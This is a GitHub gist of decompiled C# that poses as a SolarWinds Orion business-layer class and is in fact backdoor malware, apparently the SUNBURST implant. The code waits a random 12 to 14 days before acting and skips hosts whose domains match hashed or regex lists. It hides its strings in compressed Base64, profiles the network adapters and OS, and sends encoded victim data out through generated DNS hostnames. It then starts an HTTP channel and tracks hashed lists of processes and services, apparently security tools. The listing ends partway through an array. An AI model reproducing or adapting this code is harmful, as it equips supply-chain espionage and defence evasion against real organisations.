Forked from wataf1/OrionImprovementBusinessLayer.cs
Created
February 3, 2021 09:03
-
-
Save raystyle/47fc4835c6eb9dc79a8919b3caa071bc to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Collections.Generic; | |
using System.Configuration; | |
using System.Diagnostics; | |
using System.IO; | |
using System.IO.Compression; | |
using System.IO.Pipes; | |
using System.Linq; | |
using System.Management; | |
using System.Net; | |
using System.Net.NetworkInformation; | |
using System.Net.Security; | |
using System.Net.Sockets; | |
using System.Reflection; | |
using System.Runtime.ConstrainedExecution; | |
using System.Runtime.InteropServices; | |
using System.Security.AccessControl; | |
using System.Security.Cryptography; | |
using System.Security.Cryptography.X509Certificates; | |
using System.Security.Principal; | |
using System.Text; | |
using System.Text.RegularExpressions; | |
using System.Threading; | |
using Microsoft.Win32; | |
using SolarWinds.Orion.Core.Common.Configuration; | |
using SolarWinds.Orion.Core.SharedCredentials.Credentials; | |
namespace SolarWinds.Orion.Core.BusinessLayer | |
{ | |
// Token: 0x0200000C RID: 12 | |
internal class OrionImprovementBusinessLayer | |
{ | |
// Token: 0x17000011 RID: 17 | |
// (get) Token: 0x06000047 RID: 71 RVA: 0x00004254 File Offset: 0x00002454 | |
public static bool IsAlive | |
{ | |
get | |
{ | |
object isAliveLock = OrionImprovementBusinessLayer._isAliveLock; | |
bool result; | |
lock (isAliveLock) | |
{ | |
if (OrionImprovementBusinessLayer._isAlive) | |
{ | |
result = true; | |
} | |
else | |
{ | |
OrionImprovementBusinessLayer._isAlive = true; | |
result = false; | |
} | |
} | |
return result; | |
} | |
} | |
// Token: 0x17000012 RID: 18 | |
// (get) Token: 0x06000048 RID: 72 RVA: 0x000042A8 File Offset: 0x000024A8 | |
// (set) Token: 0x06000049 RID: 73 RVA: 0x000042F4 File Offset: 0x000024F4 | |
private static bool svcListModified1 | |
{ | |
get | |
{ | |
object obj = OrionImprovementBusinessLayer.svcListModifiedLock; | |
bool result; | |
lock (obj) | |
{ | |
bool svcListModified = OrionImprovementBusinessLayer._svcListModified1; | |
OrionImprovementBusinessLayer._svcListModified1 = false; | |
result = svcListModified; | |
} | |
return result; | |
} | |
set | |
{ | |
object obj = OrionImprovementBusinessLayer.svcListModifiedLock; | |
lock (obj) | |
{ | |
OrionImprovementBusinessLayer._svcListModified1 = value; | |
} | |
} | |
} | |
// Token: 0x17000013 RID: 19 | |
// (get) Token: 0x0600004A RID: 74 RVA: 0x00004338 File Offset: 0x00002538 | |
// (set) Token: 0x0600004B RID: 75 RVA: 0x0000437C File Offset: 0x0000257C | |
private static bool svcListModified2 | |
{ | |
get | |
{ | |
object obj = OrionImprovementBusinessLayer.svcListModifiedLock; | |
bool svcListModified; | |
lock (obj) | |
{ | |
svcListModified = OrionImprovementBusinessLayer._svcListModified2; | |
} | |
return svcListModified; | |
} | |
set | |
{ | |
object obj = OrionImprovementBusinessLayer.svcListModifiedLock; | |
lock (obj) | |
{ | |
OrionImprovementBusinessLayer._svcListModified2 = value; | |
} | |
} | |
} | |
// Token: 0x0600004C RID: 76 RVA: 0x000043C0 File Offset: 0x000025C0 | |
public static void Initialize() | |
{ | |
try | |
{ | |
if (OrionImprovementBusinessLayer.GetHash(Process.GetCurrentProcess().ProcessName.ToLower()) == 17291806236368054941UL) | |
{ | |
DateTime lastWriteTime = File.GetLastWriteTime(Assembly.GetExecutingAssembly().Location); | |
int num = new Random().Next(288, 336); | |
if (DateTime.Now.CompareTo(lastWriteTime.AddHours((double)num)) >= 0) | |
{ | |
OrionImprovementBusinessLayer.instance = new NamedPipeServerStream(OrionImprovementBusinessLayer.appId); | |
OrionImprovementBusinessLayer.ConfigManager.ReadReportStatus(out OrionImprovementBusinessLayer.status); | |
if (OrionImprovementBusinessLayer.status != OrionImprovementBusinessLayer.ReportStatus.Truncate) | |
{ | |
OrionImprovementBusinessLayer.DelayMin(0, 0); | |
OrionImprovementBusinessLayer.domain4 = IPGlobalProperties.GetIPGlobalProperties().DomainName; | |
if (!string.IsNullOrEmpty(OrionImprovementBusinessLayer.domain4) && !OrionImprovementBusinessLayer.IsNullOrInvalidName(OrionImprovementBusinessLayer.domain4)) | |
{ | |
OrionImprovementBusinessLayer.DelayMin(0, 0); | |
if (OrionImprovementBusinessLayer.GetOrCreateUserID(out OrionImprovementBusinessLayer.userId)) | |
{ | |
OrionImprovementBusinessLayer.DelayMin(0, 0); | |
OrionImprovementBusinessLayer.ConfigManager.ReadServiceStatus(false); | |
OrionImprovementBusinessLayer.Update(); | |
OrionImprovementBusinessLayer.instance.Close(); | |
} | |
} | |
} | |
} | |
} | |
} | |
catch (Exception) | |
{ | |
} | |
} | |
// Token: 0x0600004D RID: 77 RVA: 0x000044C8 File Offset: 0x000026C8 | |
private static bool UpdateNotification() | |
{ | |
int num = 3; | |
while (num-- > 0) | |
{ | |
OrionImprovementBusinessLayer.DelayMin(0, 0); | |
if (OrionImprovementBusinessLayer.ProcessTracker.TrackProcesses(true)) | |
{ | |
return false; | |
} | |
if (OrionImprovementBusinessLayer.DnsHelper.CheckServerConnection(OrionImprovementBusinessLayer.apiHost)) | |
{ | |
return true; | |
} | |
} | |
return false; | |
} | |
// Token: 0x0600004E RID: 78 RVA: 0x00004504 File Offset: 0x00002704 | |
private static void Update() | |
{ | |
bool flag = false; | |
OrionImprovementBusinessLayer.CryptoHelper cryptoHelper = new OrionImprovementBusinessLayer.CryptoHelper(OrionImprovementBusinessLayer.userId, OrionImprovementBusinessLayer.domain4); | |
OrionImprovementBusinessLayer.HttpHelper httpHelper = null; | |
Thread thread = null; | |
bool flag2 = true; | |
OrionImprovementBusinessLayer.AddressFamilyEx addressFamilyEx = OrionImprovementBusinessLayer.AddressFamilyEx.Unknown; | |
int num = 0; | |
bool flag3 = true; | |
OrionImprovementBusinessLayer.DnsRecords dnsRecords = new OrionImprovementBusinessLayer.DnsRecords(); | |
Random random = new Random(); | |
int a = 0; | |
if (!OrionImprovementBusinessLayer.UpdateNotification()) | |
{ | |
return; | |
} | |
OrionImprovementBusinessLayer.svcListModified2 = false; | |
int num2 = 1; | |
while (num2 <= 3 && !flag) | |
{ | |
OrionImprovementBusinessLayer.DelayMin(dnsRecords.A, dnsRecords.A); | |
if (!OrionImprovementBusinessLayer.ProcessTracker.TrackProcesses(true)) | |
{ | |
if (OrionImprovementBusinessLayer.svcListModified1) | |
{ | |
flag3 = true; | |
} | |
num = (OrionImprovementBusinessLayer.svcListModified2 ? (num + 1) : 0); | |
string hostName; | |
if (OrionImprovementBusinessLayer.status == OrionImprovementBusinessLayer.ReportStatus.New) | |
{ | |
hostName = ((addressFamilyEx == OrionImprovementBusinessLayer.AddressFamilyEx.Error) ? cryptoHelper.GetCurrentString() : cryptoHelper.GetPreviousString(out flag2)); | |
} | |
else | |
{ | |
if (OrionImprovementBusinessLayer.status != OrionImprovementBusinessLayer.ReportStatus.Append) | |
{ | |
break; | |
} | |
hostName = (flag3 ? cryptoHelper.GetNextStringEx(dnsRecords.dnssec) : cryptoHelper.GetNextString(dnsRecords.dnssec)); | |
} | |
addressFamilyEx = OrionImprovementBusinessLayer.DnsHelper.GetAddressFamily(hostName, dnsRecords); | |
switch (addressFamilyEx) | |
{ | |
case OrionImprovementBusinessLayer.AddressFamilyEx.NetBios: | |
if (OrionImprovementBusinessLayer.status == OrionImprovementBusinessLayer.ReportStatus.Append) | |
{ | |
flag3 = false; | |
if (dnsRecords.dnssec) | |
{ | |
a = dnsRecords.A; | |
dnsRecords.A = random.Next(1, 3); | |
} | |
} | |
if (OrionImprovementBusinessLayer.status == OrionImprovementBusinessLayer.ReportStatus.New && flag2) | |
{ | |
OrionImprovementBusinessLayer.status = OrionImprovementBusinessLayer.ReportStatus.Append; | |
OrionImprovementBusinessLayer.ConfigManager.WriteReportStatus(OrionImprovementBusinessLayer.status); | |
} | |
if (!string.IsNullOrEmpty(dnsRecords.cname)) | |
{ | |
dnsRecords.A = a; | |
OrionImprovementBusinessLayer.HttpHelper.Close(httpHelper, thread); | |
httpHelper = new OrionImprovementBusinessLayer.HttpHelper(OrionImprovementBusinessLayer.userId, dnsRecords); | |
if (!OrionImprovementBusinessLayer.svcListModified2 || num > 1) | |
{ | |
OrionImprovementBusinessLayer.svcListModified2 = false; | |
thread = new Thread(new ThreadStart(httpHelper.Initialize)) | |
{ | |
IsBackground = true | |
}; | |
thread.Start(); | |
} | |
} | |
num2 = 0; | |
break; | |
case OrionImprovementBusinessLayer.AddressFamilyEx.ImpLink: | |
case OrionImprovementBusinessLayer.AddressFamilyEx.Atm: | |
OrionImprovementBusinessLayer.ConfigManager.WriteReportStatus(OrionImprovementBusinessLayer.ReportStatus.Truncate); | |
OrionImprovementBusinessLayer.ProcessTracker.SetAutomaticMode(); | |
flag = true; | |
break; | |
case OrionImprovementBusinessLayer.AddressFamilyEx.Ipx: | |
if (OrionImprovementBusinessLayer.status == OrionImprovementBusinessLayer.ReportStatus.Append) | |
{ | |
OrionImprovementBusinessLayer.ConfigManager.WriteReportStatus(OrionImprovementBusinessLayer.ReportStatus.New); | |
} | |
flag = true; | |
break; | |
case OrionImprovementBusinessLayer.AddressFamilyEx.InterNetwork: | |
case OrionImprovementBusinessLayer.AddressFamilyEx.InterNetworkV6: | |
case OrionImprovementBusinessLayer.AddressFamilyEx.Unknown: | |
goto IL_1F7; | |
case OrionImprovementBusinessLayer.AddressFamilyEx.Error: | |
dnsRecords.A = random.Next(420, 540); | |
break; | |
default: | |
goto IL_1F7; | |
} | |
IL_1F9: | |
num2++; | |
continue; | |
IL_1F7: | |
flag = true; | |
goto IL_1F9; | |
} | |
break; | |
} | |
OrionImprovementBusinessLayer.HttpHelper.Close(httpHelper, thread); | |
} | |
// Token: 0x0600004F RID: 79 RVA: 0x00004720 File Offset: 0x00002920 | |
private static string GetManagementObjectProperty(ManagementObject obj, string property) | |
{ | |
object value = obj.Properties[property].Value; | |
string text; | |
if (((value != null) ? value.GetType() : null) == typeof(string[])) | |
{ | |
text = string.Join(", ", from v in (string[])obj.Properties[property].Value | |
select v.ToString()); | |
} | |
else | |
{ | |
object value2 = obj.Properties[property].Value; | |
text = (((value2 != null) ? value2.ToString() : null) ?? ""); | |
} | |
string str = text; | |
return property + ": " + str + "\n"; | |
} | |
// Token: 0x06000050 RID: 80 RVA: 0x000047DC File Offset: 0x000029DC | |
private static string GetNetworkAdapterConfiguration() | |
{ | |
string text = ""; | |
string result; | |
try | |
{ | |
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(OrionImprovementBusinessLayer.ZipHelper.Unzip("C07NSU0uUdBScCvKz1UIz8wzNor3Sy0pzy/KdkxJLChJLXLOz0vLTC8tSizJzM9TKM9ILUpV8AxwzUtMyklNsS0pKk0FAA=="))) | |
{ | |
foreach (ManagementObject obj in managementObjectSearcher.Get().Cast<ManagementObject>()) | |
{ | |
text += "\n"; | |
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, OrionImprovementBusinessLayer.ZipHelper.Unzip("c0ktTi7KLCjJzM8DAA==")); | |
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, OrionImprovementBusinessLayer.ZipHelper.Unzip("83V0dkxJKUotLgYA")); | |
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, OrionImprovementBusinessLayer.ZipHelper.Unzip("c/FwDnDNS0zKSU0BAA==")); | |
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, OrionImprovementBusinessLayer.ZipHelper.Unzip("c/FwDghOLSpLLQIA")); | |
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, OrionImprovementBusinessLayer.ZipHelper.Unzip("c/EL9sgvLvFLzE0FAA==")); | |
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, OrionImprovementBusinessLayer.ZipHelper.Unzip("c/ELdsnPTczMCy5NS8usCE5NLErO8C9KSS0CAA==")); | |
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, OrionImprovementBusinessLayer.ZipHelper.Unzip("c/ELDk4tKkstCk5NLErO8C9KSS0CAA==")); | |
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, OrionImprovementBusinessLayer.ZipHelper.Unzip("8wxwTEkpSi0uBgA=")); | |
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, OrionImprovementBusinessLayer.ZipHelper.Unzip("8wwILk3KSy0BAA==")); | |
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, OrionImprovementBusinessLayer.ZipHelper.Unzip("c0lNSyzNKfEMcE8sSS1PrAQA")); | |
} | |
result = text; | |
} | |
} | |
catch (Exception ex) | |
{ | |
result = text + ex.Message; | |
} | |
return result; | |
} | |
// Token: 0x06000051 RID: 81 RVA: 0x00004998 File Offset: 0x00002B98 | |
private static string GetOSVersion(bool full) | |
{ | |
if (OrionImprovementBusinessLayer.osVersion == null || OrionImprovementBusinessLayer.osInfo == null) | |
{ | |
try | |
{ | |
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(OrionImprovementBusinessLayer.ZipHelper.Unzip("C07NSU0uUdBScCvKz1UIz8wzNor3L0gtSizJzEsPriwuSc0FAA=="))) | |
{ | |
ManagementObject managementObject = managementObjectSearcher.Get().Cast<ManagementObject>().FirstOrDefault<ManagementObject>(); | |
OrionImprovementBusinessLayer.osInfo = managementObject.Properties[OrionImprovementBusinessLayer.ZipHelper.Unzip("c04sKMnMzwMA")].Value.ToString(); | |
OrionImprovementBusinessLayer.osInfo = OrionImprovementBusinessLayer.osInfo + ";" + managementObject.Properties[OrionImprovementBusinessLayer.ZipHelper.Unzip("8w92LErOyCxJTS4pLUoFAA==")].Value.ToString(); | |
OrionImprovementBusinessLayer.osInfo = OrionImprovementBusinessLayer.osInfo + ";" + managementObject.Properties[OrionImprovementBusinessLayer.ZipHelper.Unzip("88wrLknMyXFJLEkFAA==")].Value.ToString(); | |
OrionImprovementBusinessLayer.osInfo = OrionImprovementBusinessLayer.osInfo + ";" + managementObject.Properties[OrionImprovementBusinessLayer.ZipHelper.Unzip("8y9KT8zLrEosyczPAwA=")].Value.ToString(); | |
OrionImprovementBusinessLayer.osInfo = OrionImprovementBusinessLayer.osInfo + ";" + managementObject.Properties[OrionImprovementBusinessLayer.ZipHelper.Unzip("C0pNzywuSS1KTQktTi0CAA==")].Value.ToString(); | |
string text = managementObject.Properties[OrionImprovementBusinessLayer.ZipHelper.Unzip("C0stKs7MzwMA")].Value.ToString(); | |
OrionImprovementBusinessLayer.osInfo = OrionImprovementBusinessLayer.osInfo + ";" + text; | |
string[] array = text.Split(new char[] | |
{ | |
'.' | |
}); | |
OrionImprovementBusinessLayer.osVersion = array[0] + "." + array[1]; | |
} | |
} | |
catch (Exception) | |
{ | |
OrionImprovementBusinessLayer.osVersion = Environment.OSVersion.Version.Major + "." + Environment.OSVersion.Version.Minor; | |
OrionImprovementBusinessLayer.osInfo = string.Format(OrionImprovementBusinessLayer.ZipHelper.Unzip("i3aNVag2qFWoNgRio1oA"), Environment.OSVersion.VersionString, Environment.OSVersion.Version, Environment.Is64BitOperatingSystem ? 64 : 32); | |
} | |
} | |
if (!full) | |
{ | |
return OrionImprovementBusinessLayer.osVersion; | |
} | |
return OrionImprovementBusinessLayer.osInfo; | |
} | |
// Token: 0x06000052 RID: 82 RVA: 0x00004BE8 File Offset: 0x00002DE8 | |
private static string ReadDeviceInfo() | |
{ | |
try | |
{ | |
return (from nic in NetworkInterface.GetAllNetworkInterfaces() | |
where nic.OperationalStatus == OperationalStatus.Up && nic.NetworkInterfaceType != NetworkInterfaceType.Loopback | |
select nic.GetPhysicalAddress().ToString()).FirstOrDefault<string>(); | |
} | |
catch (Exception) | |
{ | |
} | |
return null; | |
} | |
// Token: 0x06000053 RID: 83 RVA: 0x00004C60 File Offset: 0x00002E60 | |
private static bool GetOrCreateUserID(out byte[] hash64) | |
{ | |
string text = OrionImprovementBusinessLayer.ReadDeviceInfo(); | |
hash64 = new byte[8]; | |
Array.Clear(hash64, 0, hash64.Length); | |
if (text == null) | |
{ | |
return false; | |
} | |
text += OrionImprovementBusinessLayer.domain4; | |
try | |
{ | |
text += OrionImprovementBusinessLayer.RegistryHelper.GetValue(OrionImprovementBusinessLayer.ZipHelper.Unzip("8/B2jYz38Xd29In3dXT28PRzjQn2dwsJdwxyjfHNTC7KL85PK4lxLqosKMlPL0osyKgEAA=="), OrionImprovementBusinessLayer.ZipHelper.Unzip("801MzsjMS3UvzUwBAA=="), ""); | |
} | |
catch | |
{ | |
} | |
using (MD5 md = MD5.Create()) | |
{ | |
byte[] bytes = Encoding.ASCII.GetBytes(text); | |
byte[] array = md.ComputeHash(bytes); | |
if (array.Length < hash64.Length) | |
{ | |
return false; | |
} | |
for (int i = 0; i < array.Length; i++) | |
{ | |
byte[] array2 = hash64; | |
int num = i % hash64.Length; | |
array2[num] ^= array[i]; | |
} | |
} | |
return true; | |
} | |
// Token: 0x06000054 RID: 84 RVA: 0x00004D40 File Offset: 0x00002F40 | |
private static bool IsNullOrInvalidName(string domain4) | |
{ | |
string[] array = domain4.ToLower().Split(new char[] | |
{ | |
'.' | |
}); | |
if (array.Length >= 2) | |
{ | |
string s = array[array.Length - 2] + "." + array[array.Length - 1]; | |
foreach (ulong num in OrionImprovementBusinessLayer.patternHashes) | |
{ | |
if (OrionImprovementBusinessLayer.GetHash(s) == num) | |
{ | |
return true; | |
} | |
} | |
} | |
foreach (string pattern in OrionImprovementBusinessLayer.patternList) | |
{ | |
if (Regex.Match(domain4, pattern).Success) | |
{ | |
return true; | |
} | |
} | |
return false; | |
} | |
// Token: 0x06000055 RID: 85 RVA: 0x00004DD8 File Offset: 0x00002FD8 | |
private static void DelayMs(double minMs, double maxMs) | |
{ | |
if ((int)maxMs == 0) | |
{ | |
minMs = 1000.0; | |
maxMs = 2000.0; | |
} | |
double num; | |
for (num = minMs + new Random().NextDouble() * (maxMs - minMs); num >= 2147483647.0; num -= 2147483647.0) | |
{ | |
Thread.Sleep(int.MaxValue); | |
} | |
Thread.Sleep((int)num); | |
} | |
// Token: 0x06000056 RID: 86 RVA: 0x00004E3B File Offset: 0x0000303B | |
private static void DelayMin(int minMinutes, int maxMinutes) | |
{ | |
if (maxMinutes == 0) | |
{ | |
minMinutes = 30; | |
maxMinutes = 120; | |
} | |
OrionImprovementBusinessLayer.DelayMs((double)minMinutes * 60.0 * 1000.0, (double)maxMinutes * 60.0 * 1000.0); | |
} | |
// Token: 0x06000057 RID: 87 RVA: 0x00004E7C File Offset: 0x0000307C | |
private static ulong GetHash(string s) | |
{ | |
ulong num = 14695981039346656037UL; | |
try | |
{ | |
foreach (byte b in Encoding.UTF8.GetBytes(s)) | |
{ | |
num ^= (ulong)b; | |
num *= 1099511628211UL; | |
} | |
} | |
catch | |
{ | |
} | |
return num ^ 6605813339339102567UL; | |
} | |
// Token: 0x06000058 RID: 88 RVA: 0x00004EE4 File Offset: 0x000030E4 | |
private static string Quote(string s) | |
{ | |
if (s == null || !s.Contains(" ") || s.Contains("\"")) | |
{ | |
return s; | |
} | |
return "\"" + s + "\""; | |
} | |
// Token: 0x06000059 RID: 89 RVA: 0x00004F18 File Offset: 0x00003118 | |
private static string Unquote(string s) | |
{ | |
if (s.StartsWith('"'.ToString()) && s.EndsWith('"'.ToString())) | |
{ | |
return s.Substring(1, s.Length - 2); | |
} | |
return s; | |
} | |
// Token: 0x0600005A RID: 90 RVA: 0x00004F5C File Offset: 0x0000315C | |
private static string ByteArrayToHexString(byte[] bytes) | |
{ | |
StringBuilder stringBuilder = new StringBuilder(bytes.Length * 2); | |
foreach (byte b in bytes) | |
{ | |
stringBuilder.AppendFormat("{0:x2}", b); | |
} | |
return stringBuilder.ToString(); | |
} | |
// Token: 0x0600005B RID: 91 RVA: 0x00004FA0 File Offset: 0x000031A0 | |
private static byte[] HexStringToByteArray(string hex) | |
{ | |
byte[] array = new byte[hex.Length / 2]; | |
for (int i = 0; i < hex.Length; i += 2) | |
{ | |
array[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16); | |
} | |
return array; | |
} | |
// Token: 0x04000022 RID: 34 | |
private static volatile bool _isAlive = false; | |
// Token: 0x04000023 RID: 35 | |
private static readonly object _isAliveLock = new object(); | |
// Token: 0x04000024 RID: 36 | |
private static readonly ulong[] assemblyTimeStamps = new ulong[] | |
{ | |
2597124982561782591UL, | |
2600364143812063535UL, | |
13464308873961738403UL, | |
4821863173800309721UL, | |
12969190449276002545UL, | |
3320026265773918739UL, | |
12094027092655598256UL, | |
10657751674541025650UL, | |
11913842725949116895UL, | |
5449730069165757263UL, | |
292198192373389586UL, | |
12790084614253405985UL, | |
5219431737322569038UL, | |
15535773470978271326UL, | |
7810436520414958497UL, | |
13316211011159594063UL, | |
13825071784440082496UL, | |
14480775929210717493UL, | |
14482658293117931546UL, | |
8473756179280619170UL, | |
3778500091710709090UL, | |
8799118153397725683UL, | |
12027963942392743532UL, | |
576626207276463000UL, | |
7412338704062093516UL, | |
682250828679635420UL, | |
13014156621614176974UL, | |
18150909006539876521UL, | |
10336842116636872171UL, | |
12785322942775634499UL, | |
13260224381505715848UL, | |
17956969551821596225UL, | |
8709004393777297355UL, | |
14256853800858727521UL, | |
8129411991672431889UL, | |
15997665423159927228UL, | |
10829648878147112121UL, | |
9149947745824492274UL, | |
3656637464651387014UL, | |
3575761800716667678UL, | |
4501656691368064027UL, | |
10296494671777307979UL, | |
14630721578341374856UL, | |
4088976323439621041UL, | |
9531326785919727076UL, | |
6461429591783621719UL, | |
6508141243778577344UL, | |
10235971842993272939UL, | |
2478231962306073784UL, | |
9903758755917170407UL, | |
14710585101020280896UL, | |
14710585101020280896UL, | |
13611814135072561278UL, | |
2810460305047003196UL, | |
2032008861530788751UL, | |
27407921587843457UL, | |
6491986958834001955UL, | |
2128122064571842954UL, | |
10484659978517092504UL, | |
8478833628889826985UL, | |
10463926208560207521UL, | |
7080175711202577138UL, | |
8697424601205169055UL, | |
7775177810774851294UL, | |
16130138450758310172UL, | |
506634811745884560UL, | |
18294908219222222902UL, | |
3588624367609827560UL, | |
9555688264681862794UL, | |
5415426428750045503UL, | |
3642525650883269872UL, | |
13135068273077306806UL, | |
3769837838875367802UL, | |
191060519014405309UL, | |
1682585410644922036UL, | |
7878537243757499832UL, | |
13799353263187722717UL, | |
1367627386496056834UL, | |
12574535824074203265UL, | |
16990567851129491937UL, | |
8994091295115840290UL, | |
13876356431472225791UL, | |
14968320160131875803UL, | |
14868920869169964081UL, | |
106672141413120087UL, | |
79089792725215063UL, | |
5614586596107908838UL, | |
3869935012404164040UL, | |
3538022140597504361UL, | |
14111374107076822891UL, | |
7982848972385914508UL, | |
8760312338504300643UL, | |
17351543633914244545UL, | |
7516148236133302073UL, | |
15114163911481793350UL, | |
15457732070353984570UL, | |
16292685861617888592UL, | |
10374841591685794123UL, | |
3045986759481489935UL, | |
17109238199226571972UL, | |
6827032273910657891UL, | |
5945487981219695001UL, | |
8052533790968282297UL, | |
17574002783607647274UL, | |
3341747963119755850UL, | |
14193859431895170587UL, | |
17439059603042731363UL, | |
17683972236092287897UL, | |
700598796416086955UL, | |
3660705254426876796UL, | |
12709986806548166638UL, | |
3890794756780010537UL, | |
2797129108883749491UL, | |
3890769468012566366UL, | |
14095938998438966337UL, | |
11109294216876344399UL, | |
1368907909245890092UL, | |
11818825521849580123UL, | |
8146185202538899243UL, | |
2934149816356927366UL, | |
13029357933491444455UL, | |
6195833633417633900UL, | |
2760663353550280147UL, | |
16423314183614230717UL, | |
2532538262737333146UL, | |
4454255944391929578UL, | |
6088115528707848728UL, | |
13611051401579634621UL, | |
18147627057830191163UL, | |
17633734304611248415UL, | |
13581776705111912829UL, | |
7175363135479931834UL, | |
3178468437029279937UL, | |
13599785766252827703UL, | |
6180361713414290679UL, | |
8612208440357175863UL, | |
8408095252303317471UL | |
}; | |
// Token: 0x04000025 RID: 37 | |
private static readonly ulong[] configTimeStamps = new ulong[] | |
{ | |
17097380490166623672UL, | |
15194901817027173566UL, | |
12718416789200275332UL, | |
18392881921099771407UL, | |
3626142665768487764UL, | |
12343334044036541897UL, | |
397780960855462669UL, | |
6943102301517884811UL, | |
13544031715334011032UL, | |
11801746708619571308UL, | |
18159703063075866524UL, | |
835151375515278827UL, | |
16570804352575357627UL, | |
1614465773938842903UL, | |
12679195163651834776UL, | |
2717025511528702475UL, | |
17984632978012874803UL | |
}; | |
// Token: 0x04000026 RID: 38 | |
private static readonly object svcListModifiedLock = new object(); | |
// Token: 0x04000027 RID: 39 | |
private static volatile bool _svcListModified1 = false; | |
// Token: 0x04000028 RID: 40 | |
private static volatile bool _svcListModified2 = false; | |
// Token: 0x04000029 RID: 41 | |
private static readonly OrionImprovementBusinessLayer.ServiceConfiguration[] svcList = new OrionImprovementBusinessLayer.ServiceConfiguration[] | |
{ | |
new OrionImprovementBusinessLayer.ServiceConfiguration | |
{ | |
timeStamps = new ulong[] | |
{ | |
5183687599225757871UL | |
}, | |
Svc = new OrionImprovementBusinessLayer.ServiceConfiguration.Service[] | |
{ | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 917638920165491138UL, | |
started = true | |
} | |
} | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration | |
{ | |
timeStamps = new ulong[] | |
{ | |
10063651499895178962UL | |
}, | |
Svc = new OrionImprovementBusinessLayer.ServiceConfiguration.Service[] | |
{ | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 16335643316870329598UL, | |
started = true | |
} | |
} | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration | |
{ | |
timeStamps = new ulong[] | |
{ | |
10501212300031893463UL, | |
155978580751494388UL | |
}, | |
Svc = new OrionImprovementBusinessLayer.ServiceConfiguration.Service[0] | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration | |
{ | |
timeStamps = new ulong[] | |
{ | |
17204844226884380288UL, | |
5984963105389676759UL | |
}, | |
Svc = new OrionImprovementBusinessLayer.ServiceConfiguration.Service[] | |
{ | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 11385275378891906608UL, | |
DefaultValue = 2U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 13693525876560827283UL, | |
DefaultValue = 1U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 17849680105131524334UL, | |
DefaultValue = 1U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 18246404330670877335UL, | |
DefaultValue = 3U | |
} | |
} | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration | |
{ | |
timeStamps = new ulong[] | |
{ | |
8698326794961817906UL, | |
9061219083560670602UL | |
}, | |
Svc = new OrionImprovementBusinessLayer.ServiceConfiguration.Service[] | |
{ | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 11771945869106552231UL, | |
DefaultValue = 1U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 9234894663364701749UL, | |
DefaultValue = 3U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 8698326794961817906UL, | |
DefaultValue = 2U | |
} | |
} | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration | |
{ | |
timeStamps = new ulong[] | |
{ | |
15695338751700748390UL, | |
640589622539783622UL | |
}, | |
Svc = new OrionImprovementBusinessLayer.ServiceConfiguration.Service[] | |
{ | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 15695338751700748390UL, | |
DefaultValue = 2U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 9384605490088500348UL, | |
DefaultValue = 3U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 6274014997237900919UL, | |
DefaultValue = 3U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 15092207615430402812UL, | |
DefaultValue = 0U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 3320767229281015341UL, | |
DefaultValue = 3U | |
} | |
} | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration | |
{ | |
timeStamps = new ulong[] | |
{ | |
3200333496547938354UL, | |
14513577387099045298UL, | |
607197993339007484UL | |
}, | |
Svc = new OrionImprovementBusinessLayer.ServiceConfiguration.Service[] | |
{ | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 15587050164583443069UL, | |
DefaultValue = 1U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 9559632696372799208UL, | |
DefaultValue = 0U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 4931721628717906635UL, | |
DefaultValue = 1U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 3200333496547938354UL, | |
DefaultValue = 2U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 2589926981877829912UL, | |
DefaultValue = 3U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 17997967489723066537UL, | |
DefaultValue = 1U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
